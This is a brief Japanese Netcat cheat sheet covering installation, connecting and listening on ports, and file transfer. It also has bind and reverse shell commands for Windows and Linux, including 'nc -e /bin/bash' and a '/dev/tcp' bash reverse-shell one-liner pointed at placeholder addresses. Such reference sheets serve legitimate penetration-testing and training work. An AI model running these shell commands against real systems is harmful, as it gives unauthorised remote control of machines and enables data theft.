Netcat
Netcatは、ネット経由でデータの送受信を行えるツール。
いくつか種類があり、ncatはnmapの開発元が開発している。
以下のコマンドでインストールする。
sudo apt install ncat
Windows版のNetcatの入手先
http://joncraton.org/blog/46/netcat-for-windows/
解凍パスワード"nc"
ポートの接続
nc [ipaddress] [port]
ポートの待受
nc -lvp [port]
Bind Shell
サーバー側で以下のコマンドで待ち受ける
Windowsの場合
nc -lvp [port] -e cmd
Linuxの場合
nc -lvp [port] -e /bin/bash
クライアント側は以下のコマンドで接続する
nc [ipaddress] [port]
Bind Shellの終了は、クライアント側でexitを入力する
Reverse Shell
クライアント側が以下のコマンドで接続を待ち受ける
nc -lvp [port]
サーバー側は以下のコマンドで接続する
Windowsの場合
nc [ipaddress] [port] -e cmd
Linuxの場合
nc [ipaddress] [port] -e /bin/bash
サーバー側のNetcatで、-eオプションが使用できない場合は
bash -c 'bash -i >& /dev/tcp/ipaddress/port 0>&1'
ファイル転送
送り側
nc [ipaddress] [port] <[filename]
受け側
nc -lvp [port] >[filename]
もしくは
送り側
nc -lvp [port] <[filename]
受け側
nc [ipaddress] [port] >[filename]